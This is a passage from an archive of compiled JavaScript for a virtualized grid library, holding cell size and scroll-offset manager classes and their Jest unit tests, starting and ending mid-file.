      var offsetsAndExpectedAdjustements = [{
        offset: 0,
        expectedAdjustment: -0
      }, {
        offset: 10,
        expectedAdjustment: -25
      }, {
        offset: 20,
        expectedAdjustment: -50
      }];
      var instance = init();
      offsetsAndExpectedAdjustements.forEach(function (offsetAndExpectedAdjustement) {
        expect(instance.getOffsetAdjustment({
          containerSize: 30,
          offset: offsetAndExpectedAdjustement.offset
        })).toBe(offsetAndExpectedAdjustement.expectedAdjustment);
      });
    });
  });
  describe('getTotalSize', function () {
    it('should return :totalSize if it is not greater than :maxScrollSize', function () {
      var maxScrollSizes = [500, 750];
      maxScrollSizes.forEach(function (maxScrollSize) {
        var instance = init({
          cellCount: 50,
          maxScrollSize: maxScrollSize
        });
        expect(instance.getTotalSize()).toEqual(500);
      });
    });
    it('should return :maxScrollSize if :totalSize is greater', function () {
      var instance = init({
        cellCount: 100,
        maxScrollSize: 100
      });
      expect(instance.getTotalSize()).toEqual(100);
    });
  });
  describe('getUpdatedOffsetForIndex', function () {
    it('should scroll to a cell before the current range', function () {
      var data = [{
        targetIndex: 0,
        expectedOffset: 0
      }, {
        targetIndex: 1,
        expectedOffset: 3
      }, // (unsafe: 10)
      {
        targetIndex: 2,
        expectedOffset: 6
      } // (unsafe: 20)
      ];
      var instance = init();
      data.forEach(function (datum) {
        expect(instance.getUpdatedOffsetForIndex({
          containerSize: 30,
          currentOffset: 10,
          // (unsafe: 35)
          targetIndex: datum.targetIndex
        })).toBe(datum.expectedOffset);
      });
    });
    it('should scroll to a cell after the current range', function () {
      var data = [{
        targetIndex: 7,
        expectedOffset: 14
      }, // (unsafe: 50)
      {
        targetIndex: 9,
        expectedOffset: 20
      } // (unsafe: 70)
      ];
      var instance = init();
      data.forEach(function (datum) {
        expect(instance.getUpdatedOffsetForIndex({
          containerSize: 30,
          currentOffset: 0,
          targetIndex: datum.targetIndex
        })).toBe(datum.expectedOffset);
      });
    });
    it('should not scroll to a cell already visible within the current range', function () {
      var instance = init();
      expect(instance.getUpdatedOffsetForIndex({
        containerSize: 30,
        currentOffset: 10,
        // (unsafe: 35)
        targetIndex: 4
      })).toBe(10);
    });
  });
  describe('getVisibleCellRange', function () {
    it('should correct identify the first set of cells', function () {
      var instance = init();
      expect(instance.getVisibleCellRange({
        containerSize: 30,
        offset: 0
      })).toEqual({
        start: 0,
        stop: 2
      });
    });
    it('should correct identify cells in the middle', function () {
      var instance = init();
      expect(instance.getVisibleCellRange({
        containerSize: 30,
        offset: 2.85 // (unsafe: 10)

      })).toEqual({
        start: 1,
        stop: 3
      });
    });
    it('should correct identify partially visible cells', function () {
      var instance = init();
      expect(instance.getVisibleCellRange({
        containerSize: 30,
        offset: 10 // (unsafe: 35)

      })).toEqual({
        start: 3,
        stop: 6
      });
    });
    it('should correct identify the last set of cells', function () {
      var instance = init();
      expect(instance.getVisibleCellRange({
        containerSize: 30,
        offset: 20
      })).toEqual({
        start: 7,
        stop: 9
      });
    });
  });
});commonjs/Grid/utils/CellSizeAndPositionManager.js000064400000025204151677406000016142 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _types = require("../types");

/**
 * Just-in-time calculates and caches size and position information for a collection of cells.
 */
var CellSizeAndPositionManager =
/*#__PURE__*/
function () {
  // Cache of size and position data for cells, mapped by cell index.
  // Note that invalid values may exist in this map so only rely on cells up to this._lastMeasuredIndex
  // Measurements for cells up to this index can be trusted; cells afterward should be estimated.
  // Used in deferred mode to track which cells have been queued for measurement.
  function CellSizeAndPositionManager(_ref) {
    var cellCount = _ref.cellCount,
        cellSizeGetter = _ref.cellSizeGetter,
        estimatedCellSize = _ref.estimatedCellSize;
    (0, _classCallCheck2["default"])(this, CellSizeAndPositionManager);
    (0, _defineProperty2["default"])(this, "_cellSizeAndPositionData", {});
    (0, _defineProperty2["default"])(this, "_lastMeasuredIndex", -1);
    (0, _defineProperty2["default"])(this, "_lastBatchedIndex", -1);
    (0, _defineProperty2["default"])(this, "_cellCount", void 0);
    (0, _defineProperty2["default"])(this, "_cellSizeGetter", void 0);
    (0, _defineProperty2["default"])(this, "_estimatedCellSize", void 0);
    this._cellSizeGetter = cellSizeGetter;
    this._cellCount = cellCount;
    this._estimatedCellSize = estimatedCellSize;
  }

  (0, _createClass2["default"])(CellSizeAndPositionManager, [{
    key: "areOffsetsAdjusted",
    value: function areOffsetsAdjusted() {
      return false;
    }
  }, {
    key: "configure",
    value: function configure(_ref2) {
      var cellCount = _ref2.cellCount,
          estimatedCellSize = _ref2.estimatedCellSize,
          cellSizeGetter = _ref2.cellSizeGetter;
      this._cellCount = cellCount;
      this._estimatedCellSize = estimatedCellSize;
      this._cellSizeGetter = cellSizeGetter;
    }
  }, {
    key: "getCellCount",
    value: function getCellCount() {
      return this._cellCount;
    }
  }, {
    key: "getEstimatedCellSize",
    value: function getEstimatedCellSize() {
      return this._estimatedCellSize;
    }
  }, {
    key: "getLastMeasuredIndex",
    value: function getLastMeasuredIndex() {
      return this._lastMeasuredIndex;
    }
  }, {
    key: "getOffsetAdjustment",
    value: function getOffsetAdjustment() {
      return 0;
    }
    /**
     * This method returns the size and position for the cell at the specified index.
     * It just-in-time calculates (or used cached values) for cells leading up to the index.
     */

  }, {
    key: "getSizeAndPositionOfCell",
    value: function getSizeAndPositionOfCell(index) {
      if (index < 0 || index >= this._cellCount) {
        throw Error("Requested index ".concat(index, " is outside of range 0..").concat(this._cellCount));
      }

      if (index > this._lastMeasuredIndex) {
        var lastMeasuredCellSizeAndPosition = this.getSizeAndPositionOfLastMeasuredCell();
        var offset = lastMeasuredCellSizeAndPosition.offset + lastMeasuredCellSizeAndPosition.size;

        for (var i = this._lastMeasuredIndex + 1; i <= index; i++) {
          var size = this._cellSizeGetter({
            index: i
          }); // undefined or NaN probably means a logic error in the size getter.
          // null means we're using CellMeasurer and haven't yet measured a given index.


          if (size === undefined || isNaN(size)) {
            throw Error("Invalid size returned for cell ".concat(i, " of value ").concat(size));
          } else if (size === null) {
            this._cellSizeAndPositionData[i] = {
              offset: offset,
              size: 0
            };
            this._lastBatchedIndex = index;
          } else {
            this._cellSizeAndPositionData[i] = {
              offset: offset,
              size: size
            };
            offset += size;
            this._lastMeasuredIndex = index;
          }
        }
      }

      return this._cellSizeAndPositionData[index];
    }
  }, {
    key: "getSizeAndPositionOfLastMeasuredCell",
    value: function getSizeAndPositionOfLastMeasuredCell() {
      return this._lastMeasuredIndex >= 0 ? this._cellSizeAndPositionData[this._lastMeasuredIndex] : {
        offset: 0,
        size: 0
      };
    }
    /**
     * Total size of all cells being measured.
     * This value will be completely estimated initially.
     * As cells are measured, the estimate will be updated.
     */

  }, {
    key: "getTotalSize",
    value: function getTotalSize() {
      var lastMeasuredCellSizeAndPosition = this.getSizeAndPositionOfLastMeasuredCell();
      var totalSizeOfMeasuredCells = lastMeasuredCellSizeAndPosition.offset + lastMeasuredCellSizeAndPosition.size;
      var numUnmeasuredCells = this._cellCount - this._lastMeasuredIndex - 1;
      var totalSizeOfUnmeasuredCells = numUnmeasuredCells * this._estimatedCellSize;
      return totalSizeOfMeasuredCells + totalSizeOfUnmeasuredCells;
    }
    /**
     * Determines a new offset that ensures a certain cell is visible, given the current offset.
     * If the cell is already visible then the current offset will be returned.
     * If the current offset is too great or small, it will be adjusted just enough to ensure the specified index is visible.
     *
     * @param align Desired alignment within container; one of "auto" (default), "start", or "end"
     * @param containerSize Size (width or height) of the container viewport
     * @param currentOffset Container's current (x or y) offset
     * @param totalSize Total size (width or height) of all cells
     * @return Offset to use to ensure the specified cell is visible
     */

  }, {
    key: "getUpdatedOffsetForIndex",
    value: function getUpdatedOffsetForIndex(_ref3) {
      var _ref3$align = _ref3.align,
          align = _ref3$align === void 0 ? 'auto' : _ref3$align,
          containerSize = _ref3.containerSize,
          currentOffset = _ref3.currentOffset,
          targetIndex = _ref3.targetIndex;

      if (containerSize <= 0) {
        return 0;
      }

      var datum = this.getSizeAndPositionOfCell(targetIndex);
      var maxOffset = datum.offset;
      var minOffset = maxOffset - containerSize + datum.size;
      var idealOffset;

      switch (align) {
        case 'start':
          idealOffset = maxOffset;
          break;

        case 'end':
          idealOffset = minOffset;
          break;

        case 'center':
          idealOffset = maxOffset - (containerSize - datum.size) / 2;
          break;

        default:
          idealOffset = Math.max(minOffset, Math.min(maxOffset, currentOffset));
          break;
      }

      var totalSize = this.getTotalSize();
      return Math.max(0, Math.min(totalSize - containerSize, idealOffset));
    }
  }, {
    key: "getVisibleCellRange",
    value: function getVisibleCellRange(params) {
      var containerSize = params.containerSize,
          offset = params.offset;
      var totalSize = this.getTotalSize();

      if (totalSize === 0) {
        return {};
      }

      var maxOffset = offset + containerSize;

      var start = this._findNearestCell(offset);

      var datum = this.getSizeAndPositionOfCell(start);
      offset = datum.offset + datum.size;
      var stop = start;

      while (offset < maxOffset && stop < this._cellCount - 1) {
        stop++;
        offset += this.getSizeAndPositionOfCell(stop).size;
      }

      return {
        start: start,
        stop: stop
      };
    }
    /**
     * Clear all cached values for cells after the specified index.
     * This method should be called for any cell that has changed its size.
     * It will not immediately perform any calculations; they'll be performed the next time getSizeAndPositionOfCell() is called.
     */

  }, {
    key: "resetCell",
    value: function resetCell(index) {
      this._lastMeasuredIndex = Math.min(this._lastMeasuredIndex, index - 1);
    }
  }, {
    key: "_binarySearch",
    value: function _binarySearch(high, low, offset) {
      while (low <= high) {
        var middle = low + Math.floor((high - low) / 2);
        var currentOffset = this.getSizeAndPositionOfCell(middle).offset;

        if (currentOffset === offset) {
          return middle;
        } else if (currentOffset < offset) {
          low = middle + 1;
        } else if (currentOffset > offset) {
          high = middle - 1;
        }
      }

      if (low > 0) {
        return low - 1;
      } else {
        return 0;
      }
    }
  }, {
    key: "_exponentialSearch",
    value: function _exponentialSearch(index, offset) {
      var interval = 1;

      while (index < this._cellCount && this.getSizeAndPositionOfCell(index).offset < offset) {
        index += interval;
        interval *= 2;
      }

      return this._binarySearch(Math.min(index, this._cellCount - 1), Math.floor(index / 2), offset);
    }
    /**
     * Searches for the cell (index) nearest the specified offset.
     *
     * If no exact match is found the next lowest cell index will be returned.
     * This allows partially visible cells (with offsets just before/above the fold) to be visible.
     */

  }, {
    key: "_findNearestCell",
    value: function _findNearestCell(offset) {
      if (isNaN(offset)) {
        throw Error("Invalid offset ".concat(offset, " specified"));
      } // Our search algorithms find the nearest match at or below the specified offset.
      // So make sure the offset is at least 0 or no match will be found.


      offset = Math.max(0, offset);
      var lastMeasuredCellSizeAndPosition = this.getSizeAndPositionOfLastMeasuredCell();
      var lastMeasuredIndex = Math.max(0, this._lastMeasuredIndex);

      if (lastMeasuredCellSizeAndPosition.offset >= offset) {
        // If we've already measured cells within this range just use a binary search as it's faster.
        return this._binarySearch(lastMeasuredIndex, 0, offset);
      } else {
        // If we haven't yet measured this high, fallback to an exponential search with an inner binary search.
        // The exponential search avoids pre-computing sizes for the full set of cells as a binary search would.
        // The overall complexity for this approach is O(log n).
        return this._exponentialSearch(lastMeasuredIndex, offset);
      }
    }
  }]);
  return CellSizeAndPositionManager;
}();

exports["default"] = CellSizeAndPositionManager;commonjs/Grid/utils/calculateSizeAndPositionDataAndUpdateScrollOffset.jest.js000064400000007760151677406000023606 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _calculateSizeAndPositionDataAndUpdateScrollOffset = _interopRequireDefault(require("./calculateSizeAndPositionDataAndUpdateScrollOffset"));

describe('calculateSizeAndPositionDataAndUpdateScrollOffset', function () {
  function helper() {
    var _ref = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
        _ref$cellCount = _ref.cellCount,
        cellCount = _ref$cellCount === void 0 ? 100 : _ref$cellCount,
        _ref$cellSize = _ref.cellSize,
        cellSize = _ref$cellSize === void 0 ? 10 : _ref$cellSize,
        _ref$computeMetadataC = _ref.computeMetadataCallbackProps,
        computeMetadataCallbackProps = _ref$computeMetadataC === void 0 ? {} : _ref$computeMetadataC,
        _ref$nextCellsCount = _ref.nextCellsCount,
        nextCellsCount = _ref$nextCellsCount === void 0 ? 100 : _ref$nextCellsCount,
        _ref$nextCellSize = _ref.nextCellSize,
        nextCellSize = _ref$nextCellSize === void 0 ? 10 : _ref$nextCellSize,
        nextScrollToIndex = _ref.nextScrollToIndex,
        scrollToIndex = _ref.scrollToIndex;

    var computeMetadataCallbackCalls = [];
    var updateScrollOffsetForScrollToIndexCalls = [];
    (0, _calculateSizeAndPositionDataAndUpdateScrollOffset["default"])({
      cellCount: cellCount,
      cellSize: cellSize,
      computeMetadataCallback: function computeMetadataCallback(params) {
        return computeMetadataCallbackCalls.push(params);
      },
      computeMetadataCallbackProps: computeMetadataCallbackProps,
      nextCellsCount: nextCellsCount,
      nextCellSize: nextCellSize,
      nextScrollToIndex: nextScrollToIndex,
      scrollToIndex: scrollToIndex,
      updateScrollOffsetForScrollToIndex: function updateScrollOffsetForScrollToIndex(params) {
        return updateScrollOffsetForScrollToIndexCalls.push(params);
      }
    });
    return {
      computeMetadataCallbackCalls: computeMetadataCallbackCalls,
      updateScrollOffsetForScrollToIndexCalls: updateScrollOffsetForScrollToIndexCalls
    };
  }

  it('should call :computeMetadataCallback if :cellCount has changed', function () {
    var _helper = helper({
      cellCount: 100,
      nextCellsCount: 200
    }),
        computeMetadataCallbackCalls = _helper.computeMetadataCallbackCalls;

    expect(computeMetadataCallbackCalls.length).toEqual(1);
  });
  it('should call :computeMetadataCallback if numeric :cellSize has changed', function () {
    var _helper2 = helper({
      cellSize: 10,
      nextCellSize: 20
    }),
        computeMetadataCallbackCalls = _helper2.computeMetadataCallbackCalls;

    expect(computeMetadataCallbackCalls.length).toEqual(1);
  });
  it('should not call :computeMetadataCallback if :cellSize callback has changed', function () {
    var _helper3 = helper({
      cellSize: function cellSize() {},
      nextCellSize: function nextCellSize() {}
    }),
        computeMetadataCallbackCalls = _helper3.computeMetadataCallbackCalls;

    expect(computeMetadataCallbackCalls.length).toEqual(0);
  });
  it('should not call :updateScrollOffsetForScrollToIndex if :scrollToIndex is not specified', function () {
    var _helper4 = helper(),
        updateScrollOffsetForScrollToIndexCalls = _helper4.updateScrollOffsetForScrollToIndexCalls;

    expect(updateScrollOffsetForScrollToIndexCalls.length).toEqual(0);
  });
  it('should not call :updateScrollOffsetForScrollToIndex if :scrollToIndex has also changed', function () {
    var _helper5 = helper({
      scrollToIndex: 10,
      nextScrollToIndex: 20
    }),
        updateScrollOffsetForScrollToIndexCalls = _helper5.updateScrollOffsetForScrollToIndexCalls;

    expect(updateScrollOffsetForScrollToIndexCalls.length).toEqual(0);
  });
  it('should not call :computeMetadataCallback if the above conditions are not true', function () {
    var _helper6 = helper(),
        computeMetadataCallbackCalls = _helper6.computeMetadataCallbackCalls;

    expect(computeMetadataCallbackCalls.length).toEqual(0);
  });
});commonjs/Grid/utils/calculateSizeAndPositionDataAndUpdateScrollOffset.js000064400000002633151677406000022634 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = calculateSizeAndPositionDataAndUpdateScrollOffset;

/**
 * Helper method that determines when to recalculate row or column metadata.
 */
function calculateSizeAndPositionDataAndUpdateScrollOffset(_ref) {
  var cellCount = _ref.cellCount,
      cellSize = _ref.cellSize,
      computeMetadataCallback = _ref.computeMetadataCallback,
      computeMetadataCallbackProps = _ref.computeMetadataCallbackProps,
      nextCellsCount = _ref.nextCellsCount,
      nextCellSize = _ref.nextCellSize,
      nextScrollToIndex = _ref.nextScrollToIndex,
      scrollToIndex = _ref.scrollToIndex,
      updateScrollOffsetForScrollToIndex = _ref.updateScrollOffsetForScrollToIndex;

  // Don't compare cell sizes if they are functions because inline functions would cause infinite loops.
  // In that event users should use the manual recompute methods to inform of changes.
  if (cellCount !== nextCellsCount || (typeof cellSize === 'number' || typeof nextCellSize === 'number') && cellSize !== nextCellSize) {
    computeMetadataCallback(computeMetadataCallbackProps); // Updated cell metadata may have hidden the previous scrolled-to item.
    // In this case we should also update the scrollTop to ensure it stays visible.

    if (scrollToIndex >= 0 && scrollToIndex === nextScrollToIndex) {
      updateScrollOffsetForScrollToIndex();
    }
  }
}commonjs/Grid/utils/ScalingCellSizeAndPositionManager.js000064400000015660151677406000017450 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _objectWithoutProperties2 = _interopRequireDefault(require("@babel/runtime/helpers/objectWithoutProperties"));

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _CellSizeAndPositionManager = _interopRequireDefault(require("./CellSizeAndPositionManager"));

var _maxElementSize = require("./maxElementSize.js");

var _types = require("../types");

/**
 * Extends CellSizeAndPositionManager and adds scaling behavior for lists that are too large to fit within a browser's native limits.
 */
var ScalingCellSizeAndPositionManager =
/*#__PURE__*/
function () {
  function ScalingCellSizeAndPositionManager(_ref) {
    var _ref$maxScrollSize = _ref.maxScrollSize,
        maxScrollSize = _ref$maxScrollSize === void 0 ? (0, _maxElementSize.getMaxElementSize)() : _ref$maxScrollSize,
        params = (0, _objectWithoutProperties2["default"])(_ref, ["maxScrollSize"]);
    (0, _classCallCheck2["default"])(this, ScalingCellSizeAndPositionManager);
    (0, _defineProperty2["default"])(this, "_cellSizeAndPositionManager", void 0);
    (0, _defineProperty2["default"])(this, "_maxScrollSize", void 0);
    // Favor composition over inheritance to simplify IE10 support
    this._cellSizeAndPositionManager = new _CellSizeAndPositionManager["default"](params);
    this._maxScrollSize = maxScrollSize;
  }

  (0, _createClass2["default"])(ScalingCellSizeAndPositionManager, [{
    key: "areOffsetsAdjusted",
    value: function areOffsetsAdjusted() {
      return this._cellSizeAndPositionManager.getTotalSize() > this._maxScrollSize;
    }
  }, {
    key: "configure",
    value: function configure(params) {
      this._cellSizeAndPositionManager.configure(params);
    }
  }, {
    key: "getCellCount",
    value: function getCellCount() {
      return this._cellSizeAndPositionManager.getCellCount();
    }
  }, {
    key: "getEstimatedCellSize",
    value: function getEstimatedCellSize() {
      return this._cellSizeAndPositionManager.getEstimatedCellSize();
    }
  }, {
    key: "getLastMeasuredIndex",
    value: function getLastMeasuredIndex() {
      return this._cellSizeAndPositionManager.getLastMeasuredIndex();
    }
    /**
     * Number of pixels a cell at the given position (offset) should be shifted in order to fit within the scaled container.
     * The offset passed to this function is scaled (safe) as well.
     */

  }, {
    key: "getOffsetAdjustment",
    value: function getOffsetAdjustment(_ref2) {
      var containerSize = _ref2.containerSize,
          offset = _ref2.offset;

      var totalSize = this._cellSizeAndPositionManager.getTotalSize();

      var safeTotalSize = this.getTotalSize();

      var offsetPercentage = this._getOffsetPercentage({
        containerSize: containerSize,
        offset: offset,
        totalSize: safeTotalSize
      });

      return Math.round(offsetPercentage * (safeTotalSize - totalSize));
    }
  }, {
    key: "getSizeAndPositionOfCell",
    value: function getSizeAndPositionOfCell(index) {
      return this._cellSizeAndPositionManager.getSizeAndPositionOfCell(index);
    }
  }, {
    key: "getSizeAndPositionOfLastMeasuredCell",
    value: function getSizeAndPositionOfLastMeasuredCell() {
      return this._cellSizeAndPositionManager.getSizeAndPositionOfLastMeasuredCell();
    }
    /** See CellSizeAndPositionManager#getTotalSize */

  }, {
    key: "getTotalSize",
    value: function getTotalSize() {
      return Math.min(this._maxScrollSize, this._cellSizeAndPositionManager.getTotalSize());
    }
    /** See CellSizeAndPositionManager#getUpdatedOffsetForIndex */

  }, {
    key: "getUpdatedOffsetForIndex",
    value: function getUpdatedOffsetForIndex(_ref3) {
      var _ref3$align = _ref3.align,
          align = _ref3$align === void 0 ? 'auto' : _ref3$align,
          containerSize = _ref3.containerSize,
          currentOffset = _ref3.currentOffset,
          targetIndex = _ref3.targetIndex;
      currentOffset = this._safeOffsetToOffset({
        containerSize: containerSize,
        offset: currentOffset
      });

      var offset = this._cellSizeAndPositionManager.getUpdatedOffsetForIndex({
        align: align,
        containerSize: containerSize,
        currentOffset: currentOffset,
        targetIndex: targetIndex
      });

      return this._offsetToSafeOffset({
        containerSize: containerSize,
        offset: offset
      });
    }
    /** See CellSizeAndPositionManager#getVisibleCellRange */

  }, {
    key: "getVisibleCellRange",
    value: function getVisibleCellRange(_ref4) {
      var containerSize = _ref4.containerSize,
          offset = _ref4.offset;
      offset = this._safeOffsetToOffset({
        containerSize: containerSize,
        offset: offset
      });
      return this._cellSizeAndPositionManager.getVisibleCellRange({
        containerSize: containerSize,
        offset: offset
      });
    }
  }, {
    key: "resetCell",
    value: function resetCell(index) {
      this._cellSizeAndPositionManager.resetCell(index);
    }
  }, {
    key: "_getOffsetPercentage",
    value: function _getOffsetPercentage(_ref5) {
      var containerSize = _ref5.containerSize,
          offset = _ref5.offset,
          totalSize = _ref5.totalSize;
      return totalSize <= containerSize ? 0 : offset / (totalSize - containerSize);
    }
  }, {
    key: "_offsetToSafeOffset",
    value: function _offsetToSafeOffset(_ref6) {
      var containerSize = _ref6.containerSize,
          offset = _ref6.offset;

      var totalSize = this._cellSizeAndPositionManager.getTotalSize();

      var safeTotalSize = this.getTotalSize();

      if (totalSize === safeTotalSize) {
        return offset;
      } else {
        var offsetPercentage = this._getOffsetPercentage({
          containerSize: containerSize,
          offset: offset,
          totalSize: totalSize
        });

        return Math.round(offsetPercentage * (safeTotalSize - containerSize));
      }
    }
  }, {
    key: "_safeOffsetToOffset",
    value: function _safeOffsetToOffset(_ref7) {
      var containerSize = _ref7.containerSize,
          offset = _ref7.offset;

      var totalSize = this._cellSizeAndPositionManager.getTotalSize();

      var safeTotalSize = this.getTotalSize();

      if (totalSize === safeTotalSize) {
        return offset;
      } else {
        var offsetPercentage = this._getOffsetPercentage({
          containerSize: containerSize,
          offset: offset,
          totalSize: safeTotalSize
        });

        return Math.round(offsetPercentage * (totalSize - containerSize));
      }
    }
  }]);
  return ScalingCellSizeAndPositionManager;
}();

exports["default"] = ScalingCellSizeAndPositionManager;commonjs/Grid/utils/updateScrollIndexHelper.jest.js000064400000015461151677406000016526 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.getCellSizeAndPositionManager = getCellSizeAndPositionManager;

var _updateScrollIndexHelper = _interopRequireDefault(require("./updateScrollIndexHelper"));

var _CellSizeAndPositionManager = _interopRequireDefault(require("./CellSizeAndPositionManager"));

// Default cell sizes and offsets for use in shared tests
function getCellSizeAndPositionManager(_ref) {
  var _ref$cellCount = _ref.cellCount,
      cellCount = _ref$cellCount === void 0 ? CELL_SIZES.length : _ref$cellCount,
      _ref$estimatedCellSiz = _ref.estimatedCellSize,
      estimatedCellSize = _ref$estimatedCellSiz === void 0 ? 10 : _ref$estimatedCellSiz;
  return new _CellSizeAndPositionManager["default"]({
    cellCount: cellCount,
    cellSizeGetter: function cellSizeGetter(_ref2) {
      var index = _ref2.index;
      return CELL_SIZES[index % CELL_SIZES.length];
    },
    estimatedCellSize: estimatedCellSize
  });
}

var CELL_SIZES = [10, // 0: 0..0 (min)
20, // 1: 0..10
15, // 2: 0..30
10, // 3: 5..45
15, // 4: 20..55
30, // 5: 50..70
20, // 6: 70..100
10, // 7: 80..110
30 //  8: 110..110 (max)
];
describe('updateScrollIndexHelper', function () {
  function helper() {
    var _ref3 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
        _ref3$cellCount = _ref3.cellCount,
        cellCount = _ref3$cellCount === void 0 ? undefined : _ref3$cellCount,
        cellSizeAndPositionManager = _ref3.cellSizeAndPositionManager,
        _ref3$cellSize = _ref3.cellSize,
        cellSize = _ref3$cellSize === void 0 ? 10 : _ref3$cellSize,
        _ref3$previousCellsCo = _ref3.previousCellsCount,
        previousCellsCount = _ref3$previousCellsCo === void 0 ? undefined : _ref3$previousCellsCo,
        _ref3$previousCellSiz = _ref3.previousCellSize,
        previousCellSize = _ref3$previousCellSiz === void 0 ? 10 : _ref3$previousCellSiz,
        _ref3$previousScrollT = _ref3.previousScrollToAlignment,
        previousScrollToAlignment = _ref3$previousScrollT === void 0 ? 'auto' : _ref3$previousScrollT,
        previousScrollToIndex = _ref3.previousScrollToIndex,
        _ref3$previousSize = _ref3.previousSize,
        previousSize = _ref3$previousSize === void 0 ? 50 : _ref3$previousSize,
        _ref3$scrollOffset = _ref3.scrollOffset,
        scrollOffset = _ref3$scrollOffset === void 0 ? 0 : _ref3$scrollOffset,
        _ref3$scrollToAlignme = _ref3.scrollToAlignment,
        scrollToAlignment = _ref3$scrollToAlignme === void 0 ? 'auto' : _ref3$scrollToAlignme,
        scrollToIndex = _ref3.scrollToIndex,
        _ref3$size = _ref3.size,
        size = _ref3$size === void 0 ? 50 : _ref3$size;

    cellSizeAndPositionManager = cellSizeAndPositionManager || getCellSizeAndPositionManager({
      cellCount: cellCount
    });
    cellCount = cellCount === undefined ? cellSizeAndPositionManager.getCellCount() : cellCount;
    previousCellsCount = previousCellsCount === undefined ? cellCount : previousCellsCount;
    var updateScrollIndexCallbackCalled = false;

    function updateScrollIndexCallback() {
      updateScrollIndexCallbackCalled = true;
    }

    (0, _updateScrollIndexHelper["default"])({
      cellCount: cellCount,
      cellSizeAndPositionManager: cellSizeAndPositionManager,
      cellSize: cellSize,
      previousCellsCount: previousCellsCount,
      previousCellSize: previousCellSize,
      previousScrollToAlignment: previousScrollToAlignment,
      previousScrollToIndex: previousScrollToIndex,
      previousSize: previousSize,
      scrollOffset: scrollOffset,
      scrollToAlignment: scrollToAlignment,
      scrollToIndex: scrollToIndex,
      size: size,
      updateScrollIndexCallback: updateScrollIndexCallback
    });
    return updateScrollIndexCallbackCalled;
  }

  it('should not call :updateScrollIndexCallback if there is no :scrollToIndex and size has not changed', function () {
    expect(helper()).toEqual(false);
  });
  it('should not call :updateScrollIndexCallback if an invalid :scrollToIndex has been specified', function () {
    expect(helper({
      size: 100,
      previousSize: 50,
      scrollToIndex: -1
    })).toEqual(false);
  });
  it('should call :updateScrollIndexCallback if there is a :scrollToIndex and :size has changed', function () {
    expect(helper({
      cellCount: 100,
      size: 100,
      previousSize: 50,
      scrollToIndex: 10
    })).toEqual(true);
  });
  it('should call :updateScrollIndexCallback if there is a :scrollToIndex and :cellSize has changed', function () {
    expect(helper({
      cellCount: 100,
      cellSize: 15,
      previousCellSize: 20,
      scrollToIndex: 10
    })).toEqual(true);
  });
  it('should call :updateScrollIndexCallback if previous :scrollToIndex has changed', function () {
    expect(helper({
      cellCount: 15,
      previousScrollToIndex: 20,
      scrollToIndex: 10
    })).toEqual(true);
  });
  it('should call :updateScrollIndexCallback if :cellCount has been reduced past the current scroll offset', function () {
    expect(helper({
      previousCellsCount: 100,
      scrollOffset: 510
    })).toEqual(true);
  });
  it('should call :updateScrollIndexCallback if there is no :scrollToIndex but :size has been reduced', function () {
    expect(helper({
      previousSize: 100,
      scrollOffset: 510,
      size: 50
    })).toEqual(true);
  });
  it('should not measure rows if :size or :cellCount have been reduced but only use already measured (or estimated) total size', function () {
    var cellSizeAndPositionManager = {
      getCellCount: function getCellCount() {
        return CELL_SIZES.length;
      },
      getTotalSize: function getTotalSize() {
        return 560;
      }
    };
    expect(helper({
      cellSizeAndPositionManager: cellSizeAndPositionManager,
      previousSize: 100,
      scrollOffset: 510,
      size: 50
    })).toEqual(false);
  });
  it('should not call :updateScrollIndexCallback if there is no :scrollToIndex but :cellCount has been increased', function () {
    expect(helper({
      cellCount: 100,
      previousCellsCount: 50
    })).toEqual(false);
  });
  it('should not call :updateScrollIndexCallback if there is no :scrollToIndex but :size has been increased', function () {
    expect(helper({
      previousSize: 50,
      size: 100
    })).toEqual(false);
  });
  it('should call :updateScrollIndexCallback if :scrollToAlignment has changed', function () {
    expect(helper({
      previousScrollToAlignment: 'start',
      scrollToAlignment: 'end',
      scrollToIndex: 5
    })).toEqual(true);
  });
  it('should not call :updateScrollIndexCallback if :scrollToAlignment has changed but there is no :scrollToIndex', function () {
    expect(helper({
      previousScrollToAlignment: 'start',
      scrollToAlignment: 'end'
    })).toEqual(false);
  });
});commonjs/Grid/utils/CellSizeAndPositionManager.jest.js000064400000043472151677406000017115 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _CellSizeAndPositionManager = _interopRequireDefault(require("./CellSizeAndPositionManager"));

describe('CellSizeAndPositionManager', function () {
  function getCellSizeAndPositionManager() {
    var _ref = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
        _ref$cellCount = _ref.cellCount,
        cellCount = _ref$cellCount === void 0 ? 100 : _ref$cellCount,
        _ref$estimatedCellSiz = _ref.estimatedCellSize,
        estimatedCellSize = _ref$estimatedCellSiz === void 0 ? 15 : _ref$estimatedCellSiz;

    var cellSizeGetterCalls = [];
    var cellSizeAndPositionManager = new _CellSizeAndPositionManager["default"]({
      cellCount: cellCount,
      cellSizeGetter: function cellSizeGetter(_ref2) {
        var index = _ref2.index;
        cellSizeGetterCalls.push(index);
        return 10;
      },
      estimatedCellSize: estimatedCellSize
    });
    return {
      cellSizeAndPositionManager: cellSizeAndPositionManager,
      cellSizeGetterCalls: cellSizeGetterCalls
    };
  }

  describe('configure', function () {
    it('should update inner :cellCount and :estimatedCellSize', function () {
